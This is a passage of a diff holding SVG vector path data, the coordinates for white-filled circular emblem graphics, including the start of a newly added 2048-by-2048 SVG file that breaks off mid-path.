309 -221 353 -17 25 -38 57 -46 72 -50 91 -359 503 -454 605 -21 23 -46 53
-54 65 -65 96 -522 570 -727 754 -416 374 -890 711 -1390 989 -22 12 -67 38
-100 56 -72 41 -361 181 -500 242 -243 108 -617 246 -850 314 -313 91 -352
101 -550 144 -496 107 -705 138 -1145 170 -142 10 -806 21 -865 14z m610 -380
c248 -9 644 -50 830 -85 28 -5 113 -21 190 -35 313 -58 691 -153 925 -234 145
-50 333 -116 385 -135 271 -99 784 -349 1069 -522 53 -32 114 -68 134 -79 49
-28 336 -223 420 -286 359 -269 572 -451 841 -716 197 -193 413 -433 571 -634
94 -119 180 -235 180 -243 0 -3 22 -35 50 -71 27 -36 71 -98 96 -138 26 -40
69 -104 95 -144 27 -40 49 -75 49 -77 0 -3 29 -52 64 -109 63 -102 77 -127
163 -284 41 -75 233 -461 233 -468 0 -2 13 -32 29 -67 69 -152 81 -181 81
-194 0 -8 5 -14 10 -14 6 0 10 -7 10 -15 0 -8 11 -43 24 -77 112 -287 237
-694 311 -1013 53 -228 135 -745 155 -980 6 -71 15 -168 20 -215 14 -138 5
-881 -14 -1056 -20 -188 -41 -344 -67 -494 -28 -156 -37 -211 -48 -272 -32
-178 -65 -310 -157 -628 -65 -225 -199 -596 -273 -756 -28 -61 -51 -114 -51
-118 0 -12 -239 -490 -297 -594 -68 -120 -244 -415 -253 -422 -3 -3 -46 -63
-94 -134 -99 -144 -121 -175 -244 -334 -376 -490 -778 -895 -1327 -1338 -187
-151 -637 -454 -830 -559 -38 -21 -106 -59 -150 -85 -232 -136 -700 -346
-1067 -479 -501 -181 -964 -292 -1518 -365 -272 -36 -402 -45 -714 -53 -377
-8 -674 9 -1111 67 -138 18 -559 98 -687 130 -388 98 -778 229 -1106 369 -78
34 -144 61 -146 61 -3 0 -89 41 -193 91 -172 84 -328 167 -538 287 -204 117
-623 406 -830 573 -199 160 -250 204 -415 355 -371 341 -641 640 -946 1049
-29 39 -62 82 -73 96 -88 113 -327 485 -424 659 -86 155 -238 454 -285 560
-143 323 -298 732 -355 940 -25 88 -109 412 -117 450 -5 19 -12 55 -18 80 -5
25 -19 95 -31 155 -11 61 -25 133 -30 160 -68 352 -101 737 -101 1180 0 447
23 726 96 1155 19 113 40 232 45 265 15 91 179 730 193 753 4 6 20 53 36 104
41 132 149 426 185 503 31 66 65 144 65 148 0 18 241 510 252 515 5 2 8 8 8
14 0 5 32 63 70 129 39 66 70 123 70 126 0 3 10 20 23 37 13 17 36 54 52 81
49 83 57 95 149 235 49 74 109 161 133 192 24 31 43 59 43 63 0 17 214 283
365 455 60 69 125 143 145 165 192 220 769 739 987 887 28 19 71 51 95 70 38
31 235 165 358 244 250 160 746 421 995 523 55 23 125 52 155 65 97 42 164 69
195 77 17 4 62 20 100 34 239 91 664 211 950 270 353 71 779 128 1085 145 353
19 353 19 725 5z"/>
<path d="M9725 16270 c-267 -24 -464 -54 -675 -101 -779 -173 -1408 -444
-2036 -877 -156 -108 -186 -130 -323 -240 -269 -215 -617 -556 -817 -802 -16
-19 -32 -36 -36 -38 -5 -2 -8 -10 -8 -17 0 -8 -6 -18 -13 -22 -7 -4 -44 -48
-81 -98 -38 -49 -72 -92 -76 -95 -7 -5 -105 -151 -232 -345 -36 -55 -89 -143
-118 -195 -30 -52 -56 -97 -59 -100 -18 -16 -202 -406 -295 -625 -61 -142
-180 -506 -220 -670 -30 -123 -53 -222 -59 -255 -2 -14 -14 -70 -25 -125 -79
-382 -108 -759 -98 -1245 3 -168 13 -363 21 -435 14 -126 42 -323 51 -368 2
-12 11 -56 19 -97 14 -75 20 -100 76 -330 30 -124 71 -267 89 -305 5 -11 20
-56 34 -100 33 -106 60 -178 146 -380 133 -312 297 -618 485 -905 87 -132 256
-365 280 -385 7 -5 39 -44 71 -85 208 -265 649 -702 894 -886 36 -27 72 -55
80 -62 66 -59 523 -373 568 -389 9 -4 35 -18 57 -32 110 -69 484 -260 570
-292 28 -9 91 -35 140 -57 111 -49 253 -99 410 -147 66 -20 134 -41 150 -46
40 -14 210 -58 260 -69 597 -124 779 -145 1280 -145 396 0 548 10 805 51 490
78 880 182 1273 341 62 25 130 52 152 60 62 23 427 205 555 277 290 163 641
413 916 652 412 358 776 768 1063 1197 147 220 369 618 453 812 84 196 150
363 188 480 23 72 47 134 51 139 5 6 9 19 9 30 0 11 11 54 25 96 30 92 81 300
106 435 10 55 25 136 34 180 21 109 42 273 56 435 14 155 18 695 6 880 -24
391 -124 919 -249 1325 -17 55 -34 104 -37 110 -7 13 -79 222 -93 268 -6 20
-14 37 -19 37 -5 0 -9 9 -9 20 0 11 -4 28 -10 38 -11 20 -69 150 -90 202 -27
65 -187 374 -249 478 -33 57 -61 105 -61 107 0 4 -104 164 -169 258 -25 37
-50 75 -56 83 -5 9 -18 26 -27 38 -10 11 -49 64 -88 116 -39 52 -82 107 -94
121 -13 14 -27 33 -32 41 -5 9 -39 49 -76 90 -37 40 -76 84 -87 98 -78 95
-320 339 -441 445 -30 27 -62 56 -70 64 -8 8 -82 68 -165 133 -82 64 -157 123
-165 130 -22 19 -324 228 -395 273 -156 99 -496 281 -645 344 -295 126 -300
127 -311 91 -4 -14 -21 -70 -38 -124 -17 -55 -30 -100 -28 -101 1 0 13 -6 27
-12 14 -6 86 -37 160 -68 74 -30 143 -60 153 -65 9 -6 25 -14 35 -18 70 -34
314 -163 342 -181 14 -9 34 -21 45 -28 133 -78 365 -228 375 -243 3 -3 12 -9
20 -12 22 -8 251 -189 393 -309 159 -135 241 -213 400 -384 216 -232 241 -261
388 -455 35 -47 67 -86 72 -88 4 -2 7 -8 7 -13 0 -6 17 -33 38 -62 60 -81 112
-156 112 -162 0 -5 92 -155 122 -198 53 -77 268 -507 268 -536 0 -6 5 -11 10
-11 6 0 10 -7 10 -15 0 -8 13 -42 29 -77 38 -80 141 -348 141 -365 0 -7 4 -21
10 -31 32 -56 163 -563 204 -792 132 -729 100 -1594 -84 -2280 -42 -156 -94
-333 -118 -400 -79 -220 -274 -659 -350 -787 -16 -26 -53 -91 -82 -143 -30
-52 -79 -133 -109 -180 -31 -47 -58 -90 -61 -95 -7 -15 -151 -218 -163 -230
-7 -7 -8 -5 -4 6 3 9 12 66 21 125 57 417 84 952 52 1059 -44 147 -200 265
-350 265 l-54 0 -7 48 c-10 68 -51 146 -109 206 -41 44 -64 58 -119 76 -59 19
-79 21 -145 14 -43 -4 -81 -8 -87 -9 -5 0 -18 27 -30 60 -25 73 -30 82 -77
133 -71 78 -161 117 -273 116 -70 0 -134 -25 -199 -79 -24 -19 -45 -35 -47
-35 -6 0 23 472 41 675 36 400 38 521 8 585 -9 19 -19 45 -23 57 -3 12 -22 38
-41 57 -78 78 -195 104 -297 66 -119 -45 -174 -111 -201 -242 -19 -92 -116
-789 -132 -948 -3 -36 -19 -153 -35 -260 -55 -365 -60 -395 -70 -470 -5 -41
-16 -127 -24 -190 -44 -354 -53 -402 -120 -602 -83 -250 -105 -340 -112 -459
-12 -209 50 -449 234 -919 36 -91 74 -192 85 -225 26 -76 34 -218 18 -315 -6
-41 -15 -100 -20 -130 -12 -73 -76 -364 -93 -418 -14 -47 -11 -45 -177 -112
-30 -12 -75 -30 -99 -41 -33 -15 -46 -17 -57 -8 -7 6 -55 93 -107 192 -52 100
-112 212 -135 250 -23 37 -59 95 -81 130 -95 154 -450 630 -543 729 -7 7 -28
31 -47 53 -120 142 -285 312 -515 534 -151 143 -160 154 -158 187 2 19 7 46
13 61 41 109 140 486 154 588 3 28 10 66 16 85 5 19 18 86 30 149 43 230 118
355 248 415 57 26 186 28 485 7 219 -15 359 -11 450 14 163 44 297 154 377
310 58 115 75 222 65 420 -5 114 -4 140 12 193 11 33 28 73 39 89 87 126 104
219 62 335 l-24 67 43 42 c43 41 86 119 95 173 5 32 -11 103 -42 188 -23 64
-27 124 -10 162 14 30 62 51 154 67 128 22 241 84 282 154 74 127 72 215 -11
383 -14 29 -46 96 -70 150 -25 54 -102 215 -171 358 -144 293 -187 394 -217
509 -23 85 -23 81 -18 480 2 190 0 242 -14 300 -10 39 -22 90 -27 114 -18 85
-58 238 -98 371 -23 74 -41 148 -41 165 0 17 11 47 25 68 37 54 63 119 80 201
43 206 -23 441 -172 613 -29 33 -53 64 -53 68 0 4 31 41 69 83 83 93 159 215
200 324 47 123 48 126 14 135 -60 17 -323 8 -446 -16 -65 -12 -123 -21 -128
-19 -6 2 -1 14 10 27 26 30 134 222 156 276 9 22 20 49 25 60 24 52 42 103 50
140 5 22 16 69 24 105 8 36 15 84 16 108 l0 42 -78 0 c-143 0 -393 -43 -548
-95 -124 -41 -333 -147 -420 -213 -165 -127 -301 -275 -389 -426 -7 -12 -10
38 -11 166 -1 159 -9 246 -31 322 -8 28 -80 16 -188 -32 -179 -78 -265 -133
-433 -274 -63 -53 -74 -55 -172 -32 -149 36 -421 65 -575 63 -312 -5 -507 -35
-775 -121 -245 -78 -360 -128 -600 -261 -157 -87 -404 -279 -560 -436 -108
-108 -230 -246 -230 -259 0 -4 -10 -18 -23 -32 -29 -31 -166 -237 -206 -310
-152 -271 -263 -602 -306 -903 -3 -27 -8 -58 -10 -69 -5 -25 -20 -267 -19
-293 1 -11 4 -69 8 -130 3 -60 9 -130 12 -155 9 -70 44 -233 53 -245 13 -17
21 -45 13 -45 -4 0 -23 15 -42 33 -35 32 -114 75 -181 96 -42 13 -224 15 -265
2 -16 -5 -55 -17 -87 -26 -117 -35 -273 -144 -357 -251 -103 -129 -178 -344
-165 -469 13 -122 15 -124 119 -69 157 84 297 85 454 5 61 -31 181 -153 216
-218 23 -43 137 -159 176 -178 19 -10 38 -23 42 -29 11 -17 9 -85 -3 -107 -9
-18 -17 -19 -52 -14 -99 17 -189 93 -318 271 -109 150 -231 202 -365 157 -217
-72 -347 -376 -290 -676 19 -97 65 -211 117 -290 65 -97 189 -209 286 -258
191 -94 445 -90 646 13 99 50 249 189 288 267 8 14 23 40 36 56 35 49 65 136
60 175 -2 19 -21 63 -41 97 -83 141 -149 372 -145 503 4 103 28 187 97 330 26
54 109 150 99 113 -49 -165 -58 -242 -46 -395 17 -225 92 -425 235 -628 116
-166 343 -329 521 -375 31 -8 60 -18 64 -22 4 -5 9 -35 10 -68 l3 -60 -55 1
c-58 1 -184 39 -255 77 -23 12 -65 35 -95 51 -55 29 -130 87 -184 142 -32 33
-84 69 -89 63 -1 -2 -10 -24 -20 -48 -30 -77 -162 -252 -231 -307 -21 -16 -49
-39 -64 -52 -14 -12 -55 -37 -91 -55 -36 -17 -67 -35 -70 -38 -9 -12 -185 -58
-227 -61 -35 -1 -43 -6 -43 -21 0 -33 69 -152 129 -223 101 -121 185 -179 322
-224 109 -36 270 -49 384 -32 215 34 416 154 543 324 l47 63 8 -95 c16 -197
-26 -473 -106 -700 -119 -340 -208 -514 -377 -737 -81 -107 -310 -341 -375
-382 -22 -14 -56 -38 -75 -52 -19 -15 -71 -46 -115 -69 -87 -47 -155 -92 -224
-149 -25 -20 -62 -48 -83 -62 -20 -14 -64 -48 -95 -76 -32 -28 -79 -68 -106
-89 -26 -22 -103 -85 -172 -141 l-124 -103 -64 83 c-34 45 -94 129 -131 187
-38 58 -82 124 -97 147 -16 23 -29 43 -29 46 0 2 -22 41 -50 87 -27 45 -63
110 -80 144 -17 33 -35 68 -40 76 -25 40 -166 336 -200 420 -104 257 -162 417
-204 565 -93 326 -137 552 -182 935 -21 184 -30 714 -15 907 13 154 44 415 62
518 47 255 85 428 136 605 24 87 93 303 102 325 9 21 51 134 81 220 18 49 100
238 120 272 5 10 35 72 66 138 31 66 64 131 74 145 9 14 34 59 56 100 21 41
47 84 56 94 10 11 18 23 18 28 0 4 13 27 29 50 16 24 76 115 135 203 128 193
154 228 231 324 33 41 71 88 84 105 26 33 177 203 221 247 165 172 265 269
366 358 142 124 271 231 279 231 3 0 35 23 71 51 189 146 624 415 834 514 30
14 62 30 70 34 8 5 26 13 40 19 14 6 50 22 80 35 30 14 79 33 108 43 28 10 52
22 52 26 0 5 6 8 13 8 7 0 79 25 159 55 193 72 558 176 753 215 33 7 80 16
105 21 248 50 735 99 985 99 156 0 372 -14 593 -37 160 -16 162 -16 185 3 36
33 117 80 202 119 142 65 134 58 84 72 -86 25 -237 50 -479 78 -217 26 -822
29 -1075 5z m2229 -298 c8 -13 -58 -190 -100 -269 -103 -190 -227 -335 -378
-442 -148 -104 -225 -144 -367 -189 -84 -27 -246 -59 -254 -50 -3 3 122 111
265 228 41 34 86 72 100 83 14 12 52 44 85 72 150 125 268 245 242 245 -53 -1
-390 -224 -637 -423 -8 -7 -41 -34 -73 -61 -32 -27 -59 -47 -62 -45 -7 8 45
142 82 209 141 255 394 456 718 568 62 21 209 55 305 71 30 5 58 9 62 10 4 0
9 -3 12 -7z m-1408 -308 c18 -124 -36 -432 -106 -597 -80 -186 -213 -355 -395
-498 -65 -51 -175 -116 -175 -103 0 3 19 39 43 81 23 42 59 108 80 147 21 39
53 96 72 126 92 153 225 453 205 465 -8 5 -67 -61 -110 -125 -13 -19 -27 -37
-31 -40 -12 -9 -125 -184 -216 -335 -50 -82 -107 -175 -128 -205 l-37 -55 5
135 c10 242 89 446 253 651 74 93 135 151 244 232 96 72 254 165 282 167 4 0
10 -21 14 -46z m1684 -407 c0 -25 -156 -228 -196 -253 -26 -18 -22 -19 -120
51 -39 28 -101 64 -138 79 -37 16 -64 32 -59 37 13 13 221 66 308 78 125 18
205 21 205 8z m-3046 -241 c9 -37 26 -250 26 -335 0 -96 -33 -287 -66 -381
-56 -161 -121 -277 -227 -405 -65 -78 -194 -201 -202 -193 -5 5 47 159 98 294
67 176 139 401 150 469 3 17 8 47 12 68 6 30 5 36 -6 32 -8 -3 -19 -15 -25
-28 -6 -12 -38 -76 -72 -142 -67 -133 -121 -254 -159 -360 -14 -38 -33 -88
-43 -110 -17 -40 -63 -157 -73 -185 -2 -8 -8 3 -11 25 -4 22 -11 51 -15 65 -4
14 -9 84 -10 156 -3 173 18 288 76 424 38 88 97 198 124 232 16 20 29 39 29
43 0 16 171 192 290 298 71 62 95 70 104 33z m2168 -271 c146 -37 253 -74 259
-90 7 -21 -164 -151 -341 -259 -94 -58 -292 -126 -425 -146 -85 -13 -323 -9
-431 8 -33 5 -81 18 -106 30 -25 11 -60 23 -77 27 -42 9 -39 22 7 28 35 4 228
45 317 67 22 5 114 26 205 45 189 42 271 63 284 76 6 5 20 9 32 9 13 0 26 5
30 11 5 8 -48 10 -192 6 -155 -3 -232 -10 -349 -31 -175 -31 -352 -64 -380
-72 -20 -5 -16 -1 45 50 97 78 260 172 370 211 232 84 501 94 752 30z m-1819
-95 c63 -24 82 -51 82 -119 0 -54 -30 -102 -75 -123 -20 -8 -31 -22 -36 -43
-8 -40 -85 -205 -96 -205 -4 0 -8 -6 -8 -13 0 -16 -124 -138 -159 -157 l-24
-12 24 32 c25 33 26 35 73 115 16 28 32 52 35 55 7 6 32 87 52 166 11 48 11
53 -15 96 -30 52 -36 130 -10 166 11 16 79 58 101 62 1 0 26 -9 56 -20z
m-1294 -405 c39 -172 52 -451 30 -612 -32 -238 -134 -442 -308 -623 -42 -44
-80 -80 -83 -80 -3 0 0 21 8 48 17 55 68 243 96 352 10 41 25 100 33 130 22
84 55 268 55 306 0 60 -25 41 -56 -41 -10 -27 -20 -52 -23 -55 -8 -7 -28 -60
-68 -185 -19 -60 -39 -119 -44 -130 -5 -11 -23 -67 -40 -125 -16 -58 -41 -136
-55 -173 -13 -38 -24 -77 -24 -88 0 -45 -19 -13 -36 64 -14 63 -18 124 -19
262 0 155 3 194 24 280 13 55 27 105 31 110 4 6 13 28 20 50 40 122 156 291
310 448 63 64 120 117 126 117 6 0 16 -25 23 -55z m3735 -93 c38 -81 73 -156
77 -167 22 -54 90 -249 109 -315 12 -41 26 -86 30 -100 18 -53 59 -240 76
-345 22 -129 23 -337 5 -468 -11 -70 -11 -105 -1 -170 25 -170 54 -250 187
-527 88 -183 162 -332 172 -350 9 -14 31 -62 116 -245 18 -38 41 -88 51 -110
11 -23 19 -63 19 -93 0 -48 -3 -57 -30 -79 -58 -48 -107 -63 -245 -74 -123
-10 -178 -22 -285 -63 -68 -26 -94 -21 -111 19 -8 19 -17 63 -21 98 -7 72 -14
83 -53 92 -59 13 -91 -19 -110 -111 -9 -41 -7 -61 9 -117 15 -50 17 -69 8 -72
-7 -2 -104 -11 -217 -20 -113 -8 -252 -20 -310 -25 -58 -6 -184 -17 -280 -25
-96 -9 -218 -20 -270 -25 -52 -5 -183 -16 -290 -25 -107 -8 -240 -20 -295 -25
-55 -5 -203 -17 -330 -25 -126 -9 -273 -20 -325 -25 -116 -12 -325 -29 -440
-35 -47 -3 -104 -8 -127 -10 -24 -3 -43 -3 -43 -1 0 1 7 18 17 36 9 19 17 59
17 94 1 60 1 61 -35 79 -50 24 -78 11 -111 -50 -61 -112 -138 -143 -271 -108
-112 29 -209 113 -373 320 -21 28 -44 55 -51 60 -30 25 -121 176 -133 221 -7
27 -17 53 -21 58 -14 15 3 70 30 99 53 59 91 70 267 78 88 4 169 6 180 4 10
-2 24 -4 29 -4 7 -1 11 -42 11 -113 -1 -108 1 -115 30 -168 72 -127 117 -172
180 -178 25 -3 37 3 58 28 14 17 26 38 26 46 0 22 -29 74 -61 112 -53 61 -73
111 -73 184 1 98 10 107 140 142 60 17 116 33 124 37 8 4 41 18 74 30 66 25
222 116 279 163 51 41 217 208 217 218 0 4 15 29 34 55 19 27 50 84 71 128 47
102 46 100 97 230 46 119 90 191 122 201 11 4 24 10 30 15 6 5 36 26 66 46 70
46 183 138 237 192 48 49 103 129 151 221 39 73 52 86 101 95 19 4 79 24 133
45 150 58 279 164 351 287 60 104 72 122 100 157 41 51 73 68 247 130 85 31
164 60 175 65 11 6 40 18 65 29 98 41 216 146 277 244 20 32 39 58 42 57 3 0
37 -66 75 -147z m-1804 -137 c145 -24 186 -36 413 -119 53 -20 74 -36 45 -36
-7 0 -26 -12 -43 -26 -85 -74 -224 -153 -410 -235 -214 -93 -572 -104 -810
-24 -89 29 -165 64 -165 75 0 4 21 10 48 13 131 15 394 49 447 57 33 5 74 12
90 14 137 21 276 50 301 64 17 10 16 11 -11 19 -58 16 -480 6 -674 -16 -234
-27 -234 -27 -196 -1 161 109 170 114 290 165 17 7 57 20 90 29 194 53 352 59
585 21z m-2842 -412 c12 -32 38 -120 57 -196 31 -121 35 -155 36 -275 2 -172
-6 -236 -48 -377 -34 -116 -129 -310 -174 -358 -11 -12 -27 -33 -34 -47 -7
-14 -32 -43 -56 -65 -38 -36 -41 -38 -35 -15 8 29 12 51 61 325 36 201 49 284
59 385 18 191 5 216 -44 85 -10 -25 -35 -115 -100 -355 -25 -93 -71 -303 -82
-373 -6 -42 -15 -74 -20 -69 -11 11 -57 165 -70 232 -37 201 -8 484 62 612 6
10 10 26 10 35 0 10 7 29 14 43 8 14 23 43 34 65 17 37 87 146 119 185 6 8 29
38 50 66 83 110 118 153 128 154 6 0 21 -26 33 -57z m1645 23 c58 -25 77 -51
77 -106 0 -27 -5 -61 -12 -75 -14 -31 -75 -65 -115 -65 -31 0 -87 31 -112 61
-15 18 -19 19 -96 5 -100 -19 -123 -26 -214 -65 -40 -18 -74 -31 -76 -29 -5 5
137 108 186 136 24 13 75 32 113 42 57 15 76 26 100 55 19 22 45 40 66 45 49
11 47 11 83 -4z m242 -401 c142 -24 366 -88 365 -104 -1 -3 -14 -15 -30 -26
-16 -11 -55 -38 -87 -60 -32 -22 -59 -43 -61 -47 -2 -5 -10 -8 -18 -8 -8 0
-14 -3 -14 -7 0 -13 -94 -69 -250 -150 -70 -36 -195 -75 -300 -93 -85 -15
-287 -16 -381 -1 -79 13 -309 80 -309 91 0 3 62 17 138 30 269 45 298 50 367
64 80 16 310 68 373 85 180 49 -248 46 -553 -3 -55 -9 -125 -21 -155 -26 -30
-5 -82 -12 -115 -16 l-59 -6 59 47 c196 152 350 218 585 249 67 9 356 -3 445
-19z m-1519 -421 c33 -34 38 -51 34 -104 -6 -76 -107 -134 -173 -99 -53 28
-71 58 -71 116 0 51 3 58 37 89 32 29 44 34 88 34 46 0 55 -4 85 -36z m586
-313 c93 -16 370 -93 388 -108 8 -8 -81 -80 -203 -165 -91 -64 -265 -156 -354
-187 -254 -89 -492 -91 -773 -6 -72 22 -78 27 -49 37 30 12 347 80 437 95 18
3 35 9 38 14 3 5 16 9 29 9 23 0 335 87 344 96 26 26 -144 29 -319 5 -261 -35
-315 -45 -458 -77 -62 -15 -115 -24 -118 -21 -7 7 157 137 174 137 6 0 12 4
12 9 0 5 8 11 18 14 9 3 33 15 52 26 215 124 505 169 782 122z m4732 -1815
c18 -7 43 -28 56 -46 22 -31 23 -36 16 -184 -3 -83 -11 -205 -16 -271 -11
-140 -25 -361 -41 -635 -6 -107 -17 -255 -24 -328 -12 -122 -16 -138 -47 -188
-45 -75 -358 -391 -376 -380 -5 3 2 76 14 163 12 87 25 183 29 213 8 68 15
111 54 380 17 118 56 393 87 610 31 217 61 423 66 458 5 34 17 88 26 120 16
51 22 59 62 80 52 26 51 26 94 8z m-4214 -619 c121 -40 217 -67 600 -169 63
-16 158 -38 210 -48 52 -10 142 -29 200 -43 58 -13 141 -32 185 -40 44 -9 112
-23 150 -31 119 -25 789 -121 1025 -146 278 -31 334 -36 435 -45 59 -5 517
-35 536 -35 27 0 7 -145 -29 -217 -31 -59 -107 -139 -165 -172 -106 -60 -231
-78 -442 -62 -186 15 -399 49 -560 92 -22 6 -56 14 -75 18 -183 42 -500 143
-567 180 -10 6 -38 17 -63 25 -43 14 -98 37 -200 83 -25 11 -52 23 -60 27 -8
3 -22 10 -30 16 -8 5 -42 21 -74 35 -55 24 -122 65 -235 144 -50 35 -89 39
-120 14 -23 -20 -30 -68 -14 -98 6 -11 33 -47 60 -81 26 -33 59 -76 73 -94 59
-80 183 -223 281 -325 58 -60 136 -144 174 -185 37 -41 141 -146 229 -234 89
-87 168 -169 177 -183 14 -21 14 -33 4 -96 -40 -235 -67 -351 -130 -562 -42
-139 -83 -287 -122 -435 -32 -121 -36 -152 -41 -297 -2 -90 -1 -183 3 -209 12
-84 80 -120 139 -73 26 20 26 21 27 162 1 78 4 166 7 196 l7 54 86 -114 c118
-156 117 -154 207 -329 84 -163 136 -286 183 -435 30 -97 53 -220 44 -236 -4
-5 -57 -9 -119 -9 -100 0 -131 5 -287 44 -168 43 -280 77 -384 117 -269 102
-405 157 -465 188 -19 10 -46 22 -60 26 -14 4 -52 20 -85 35 -33 15 -116 53
-185 84 -69 32 -145 68 -170 80 -25 13 -56 27 -69 31 -35 11 -355 170 -496
247 -66 36 -130 68 -142 72 -31 10 -71 61 -79 101 -13 70 -123 163 -219 186
-27 6 -84 15 -125 19 -75 7 -75 7 -135 66 -68 66 -229 204 -239 204 -3 0 -32
20 -63 44 -123 93 -263 166 -466 245 -56 22 -110 42 -121 45 -16 5 -10 12 30
38 60 40 299 278 375 373 162 206 277 403 355 610 19 50 37 97 41 105 4 8 23
74 44 145 41 144 40 145 58 -20 27 -257 -5 -440 -113 -655 -68 -135 -70 -150
-18 -150 20 0 53 5 72 10 19 6 67 17 105 25 151 32 423 129 515 185 180 109
337 326 392 541 28 114 22 366 -12 474 -38 121 -110 271 -192 403 -32 51 -58
95 -58 96 0 7 67 -12 200 -57z m4707 -725 c90 -34 134 -100 134 -203 1 -57
-12 -110 -76 -314 -19 -60 -41 -139 -49 -175 -24 -108 -85 -311 -113 -373 -47
-105 -123 -143 -203 -102 -36 19 -38 41 -6 86 30 42 147 244 164 283 22 49 42
164 42 236 0 76 -27 173 -65 235 -57 94 -68 124 -61 173 7 52 43 113 81 138
21 14 64 28 97 33 4 1 29 -7 55 -17z m473 -295 c58 -16 65 -21 101 -69 26 -37
29 -49 29 -115 0 -45 -6 -85 -14 -101 -20 -37 -49 -105 -78 -182 -76 -198
-144 -378 -180 -480 -49 -138 -57 -151 -116 -190 -64 -42 -110 -41 -159 4 -34
31 -37 39 -41 97 -3 58 5 89 76 314 44 138 83 266 86 285 4 19 33 111 64 204
67 200 94 237 177 244 6 1 30 -4 55 -11z m-780 -142 c31 -62 33 -68 28 -152
-9 -140 -43 -208 -217 -435 -101 -131 -131 -217 -131 -384 0 -96 18 -121 155
-212 174 -115 258 -207 325 -356 52 -114 68 -178 90 -355 12 -100 26 -121 82
-121 28 0 46 7 63 25 22 21 25 33 25 96 0 152 -80 419 -163 547 -79 120 -110
149 -337 316 -30 23 -58 45 -62 51 -9 12 -9 91 1 124 6 22 7 22 21 7 28 -34
104 -64 182 -71 l77 -7 15 -52 c49 -166 221 -254 395 -202 l45 13 52 -53 c67
-66 128 -89 225 -82 82 6 139 36 198 105 37 44 145 248 201 381 12 28 26 52
31 52 5 0 6 -44 3 -97 -24 -477 -92 -840 -182 -979 -36 -54 -341 -372 -457
-475 -193 -172 -511 -420 -652 -511 -62 -40 -190 -119 -231 -143 -83 -49 -144
-82 -247 -134 -141 -72 -137 -75 -105 75 60 283 63 307 64 464 0 181 -8 221
-89 410 -67 159 -196 543 -230 686 -36 152 -36 246 3 394 28 106 51 176 148
457 l36 102 96 92 c179 172 407 404 446 457 46 60 49 59 96 -33z m1241 -231
c28 -17 48 -41 65 -77 21 -47 24 -65 24 -189 0 -145 -3 -154 -44 -123 -11 8
-36 15 -56 15 -48 0 -83 -37 -110 -115 -28 -80 -157 -339 -187 -375 -33 -39
-85 -56 -124 -40 -31 13 -59 55 -59 87 0 37 56 205 135 408 45 116 88 228 95
250 20 66 70 146 104 166 45 27 107 25 157 -7z m-7376 -1523 c194 -33 349 -79
485 -142 135 -64 174 -93 234 -177 57 -81 91 -118 128 -136 48 -24 93 -105
208 -371 81 -186 280 -752 280 -795 0 -19 -4 -18 -87 11 -194 69 -443 190
-788 383 -211 119 -563 377 -831 607 -189 164 -590 572 -578 590 5 8 159 45
249 59 33 5 164 7 290 5 200 -3 254 -8 410 -34z m1533 -540 c24 -14 51 -30 61
-36 83 -48 369 -244 481 -329 36 -27 81 -62 100 -76 85 -65 407 -301 497 -365
24 -17 58 -41 77 -55 201 -149 590 -407 723 -480 62 -34 115 -65 117 -69 7
-10 -221 -21 -443 -21 -159 0 -497 19 -611 35 -117 16 -103 5 -181 133 -240
390 -562 845 -861 1220 -43 53 -78 100 -78 105 0 5 17 -1 38 -14 20 -12 56
-34 80 -48z m-338 -11 c39 -39 116 -128 172 -197 57 -70 131 -161 165 -202 71
-87 330 -436 390 -526 82 -122 203 -317 229 -368 l15 -28 -38 6 c-79 14 -401
97 -491 128 -107 36 -99 26 -139 177 -51 196 -204 634 -288 825 -7 17 -27 64
-43 105 -17 41 -38 92 -46 113 -10 23 -12 37 -6 37 6 0 42 -32 80 -70z"/>
<path d="M11505 13063 c-162 -12 -401 -74 -511 -131 -22 -11 -84 -42 -139 -69
-55 -26 -102 -50 -105 -54 -3 -3 -23 -13 -45 -24 -40 -18 -143 -91 -157 -110
-4 -5 -8 -28 -8 -51 0 -32 5 -43 23 -53 55 -29 87 -18 270 88 49 28 92 51 97
51 4 0 49 20 99 45 50 25 97 45 104 45 7 0 17 4 23 8 13 13 170 59 238 71 75
14 267 14 337 1 30 -6 96 -30 147 -55 139 -67 202 -58 202 28 0 46 -27 76
-112 121 -129 68 -303 102 -463 89z"/>
<path d="M11535 12619 c-80 -19 -173 -53 -313 -116 -226 -102 -350 -182 -336
-217 7 -17 212 -115 329 -156 110 -39 251 -69 327 -70 80 0 102 21 127 125 11
44 24 120 30 170 9 86 11 91 45 120 52 44 50 116 -4 145 -23 12 -150 12 -205
-1z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 23 KiB

@@ -0,0 +1,320 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="2048.000000pt" height="2048.000000pt" viewBox="0 0 2048.000000 2048.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,2048.000000) scale(0.100000,-0.100000)"
fill="#FFFFFF" stroke="none">
<path d="M9945 17875 c-16 -2 -122 -9 -235 -15 -715 -39 -1408 -185 -2135
-450 -133 -49 -262 -97 -286 -108 -24 -11 -90 -41 -146 -66 -56 -25 -105 -46
-109 -46 -7 0 -321 -151 -354 -170 -8 -5 -78 -43 -155 -86 -452 -249 -925
-585 -1372 -975 -368 -321 -858 -865 -1113 -1236 -68 -99 -229 -338 -247 -368
-6 -11 -52 -85 -101 -165 -71 -116 -184 -315 -233 -410 -19 -37 -65 -128 -80
-160 -18 -36 -64 -134 -119 -255 -39 -88 -143 -345 -163 -405 -8 -25 -20 -56
-25 -70 -6 -14 -28 -74 -50 -135 -38 -105 -59 -172 -117 -370 -14 -49 -30
-101 -35 -115 -13 -35 -59 -212 -75 -290 -7 -36 -32 -153 -54 -260 -66 -316
-104 -599 -131 -985 -11 -149 -16 -857 -7 -873 3 -4 8 -65 11 -137 4 -71 9
-141 11 -155 3 -14 9 -81 15 -150 25 -288 120 -813 192 -1065 11 -38 26 -95
35 -125 8 -30 19 -63 24 -72 5 -10 9 -25 9 -34 0 -22 115 -380 157 -489 92
-236 126 -321 152 -378 16 -34 43 -96 61 -137 85 -198 294 -591 418 -790 125
-201 148 -236 244 -375 408 -587 752 -974 1289 -1452 540 -481 1201 -911 1874
-1221 383 -176 908 -367 1241 -451 418 -105 770 -170 1079 -200 61 -6 155 -15
210 -20 261 -25 602 -34 871 -22 588 25 915 68 1419 186 306 72 383 93 625
174 392 132 617 222 960 384 337 159 881 482 1139 675 42 32 94 70 116 84 39
